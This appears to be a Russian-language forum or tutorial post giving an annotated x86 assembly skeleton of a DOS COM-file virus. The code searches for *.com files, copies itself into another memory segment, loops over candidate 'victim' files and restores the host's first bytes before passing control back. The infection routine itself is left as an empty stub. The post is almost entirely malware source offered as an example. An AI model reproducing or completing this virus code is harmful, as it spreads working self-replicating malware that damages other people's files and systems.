пример вируса на асме
Код:
.286
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
Begin:
jmp Init ; преходим на процедуру инициализации
;Это будут строки, указывающие то, что программа уже заражена
;Обратите внимание, что мы данным строкам вообще не задаем никакого имени.
;Так можно делать!
db 77h, 88h, 99h
; === Процедуры работы с файлами ===
; --- Открытие файла для записи ---
; Вход: DX - путь к файлу в ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
mov ax,3D02h ;открываем файл для чтения/записи
mov dx,1Eh ;DX указывает на имя найденного файла в DTA
int 21h
mov Handle,ax ;сохраняем номер файла
mov bx,ax
ret
Handle dw 0FFFFh ;переменная для хранения номера файла (по умолчанию 0FFFFh)
Open_file endp
; --- Закрытие файла ---
; Вход: Handle - номер открытого файла
; Выход: ничего
Close_file proc
cmp Handle,0FFFFh ;нет открытых файлов?
je No_close ;тогда выходим (закрывать нечего!)
mov bx,Handle ;закрываем файл...
mov ah,3Eh
int 21h
No_close:
ret
Close_file endp
; --- Поиск первого файла ---
Find_first proc
mov ah,4Eh ;ищем первый файл по маске (Mask_file)
xor cx,cx ;атрибуты обычные (CX=0)
mov dx,offset Mask_file ;адрес маски в DS:DX
int 21h ;теперь (если нашли файл *.com в текущем каталоге) имя файла
;находится по адресу 0BF00:001Eh, т.е. по смещению 30...
ret
Mask_file db '*.com',0 ;маска для поиска (только COM-файлы)
Find_first endp
; --- Поиск следующих файлов ---
Find_next proc
xor dx,dx ;DS:DX указывают на DTA
xor cx,cx ;Атрибуты обычные
mov ah,4Fh
int 21h ;Теперь в DTA находится информация о следующем найденном файле
ret
Find_next endp
; --- Заражение файла ---
Infect_file proc
clc
ret
Infect_file endp
; === Процедура инициализации вируса ===
Init:
call Get_IP ;Получим смещение, где мы сейчас находимся
Get_IP:
pop ax ;Теперь в AX - смещение
sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
;находиться в сегменте 0BF00h
;Получим размер файла-"жертвы", если его нет,
;то AX будет равен 0
push 0BF00h
pop es ;ES - сегмент, куда будем перемещать код вируса,
mov di,offset Open_file ;DI - смещение (адрес самой первой процедуры )
mov si,di
add si,ax ;SI должен содержать РЕАЛЬНЫЙ адрес (смещение), т.к. мы
;пока еще в сегменте "файла-жертвы"...
mov cx,offset Finish-100h ;т.е. CX = длина нашего вируса в байтах
rep movsb ;Теперь в памяти две копии нашего вируса
;Занесем в стек смещение (Lab_return+AX) и сегмент (CS) возврата из копии...
mov bx,offset Lab_return
add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
push cs ;команды retf
push bx
;Занесем в стек адрес для перехода в нашу копию:
; * сегмент - 0BF00h
; * смещение - Lab_jmp
mov bx,offset Lab_jmp ;Аналогично вышесказанному...
add bx,ax
push 0BF00h
push bx
;ВНИМАНИЕ!
;В стеке находится адрес следующей метки, только расположенной в другом
;сегменте, а именно: 0BF00h.
;По этому адресу находится метка Lab_jmp (см. следующую строку ).
;Теперь перейдем на метку Lab_jmp, расположенную в сегменте 0BF00h,
;используя оператор retf, который вытащит из стека указанный выше сегмент и
;смещение (0BF00h:Lab_jmp+AX) и "прыгнет" на него.
retf
; Теперь мы уже в области экрана. Однако, в стеке находится адрес возврата на
; метку Lab_return, но в сегмент программы-"жертвы"
Lab_jmp:
;Вот сюда мы и "прыгнули" с предыдущей строки! Толко CS теперь
;равен 0BF00h.
push cs ;настроим регистр DS
pop ds
mov ah,1Ah ;установим DTA для поиска файлов
xor dx,dx ;он устанавливается на тот адрес, который содержится
int 21h ;в регистрах DS:DX. В отладчике посмотрите,
;что находится в памяти, на которую указывают данные
;регистры, т.е. DS:DX...
call Find_first ;ищем первый файл
jc Nomore_files ;нет COM-файлов - на выход
Inf_file:
call Infect_file ;нашли - пробуем заразить
jnc Nomore_files ;удалось заразить - выходим
call Find_next ;не удалось заразить - ищем следующий
jnc Inf_file ;нашли еще один COM-файл; пробуем заразить...
;Выполнили свою грязную работу. Пора передавать управление файлу-"жертве";
;нужно восстановить его первые шесть байт, которые храняться в переменной
;First_bytes
Nomore_files:
mov si,offset First_bytes ;DS:SI - на массив из шести слов
mov di,100h ;ES:DI - куда пермещать строку (шесть байт)
push ss ;SS содержит сегмент файла-"жертвы", который нужно загрузить
pop es ;в ES
mov cx,6 ;6 байт перемещаем: DS:SI = ES:DI
rep movsb
;"Файл-жертва" восстановлен в памяти (точнее, его первые шесть байт).
;Теперь вернемся в сегмент программы-"жертвы", т.е. туда, где мы
;были изначально. Как?
;Вспомните, что в стеке хранится смещение и сегмент для возврата:
;mov bx,offset Lab_return
;add bx,ax ;Т.е. как бы искусственно заносим адрес возврата для
;push cs ;комады retf
;push bx
;Команда retf, как Вам уже известно, вытащит из стека смещение (Lab_return+AX)
;и сегмент (CS) и перейдет по этому адресу. Вот и весь фокус!
retf
;Теперь мы опять в сегменте зараженной программы ("прыгнули" с предыдущей
;строки командой retf)...
Lab_return:
push cs ;восстановим DS (ES уже в порядке!)
pop ds
mov ah,1Ah ;восстановим DTA
mov dx,80h
int 21h
mov ax,100h ;Передаем управление "файлу-жертве" вот таким странным
jmp ax ;способом. Т.е. jmp 100h
; === Данные ===
;Здесь (First_bytes) хранятся первые байты "файла-жертвы".
;Если это первый запуск вируса, то по умолчанию получим:
;nop (90h)
;nop (90h)
;nop (90h)
;nop (90h)
;int 20h (0CDh, 20h)
;Итого: 6 байт
; первые три байта - jmp на код вируса, который мы искусственно добавим
; при заражении какой-нибудь программы.
; вторые три байта - метка того, что файл уже заражен нашим вирусом
; У нас будет: 77h, 88h, 99h
First_bytes db 4 dup (90h), 0CDh, 20h
Finish equ $ ;метка конца программы-вируса
CSEG ends
end Begin
|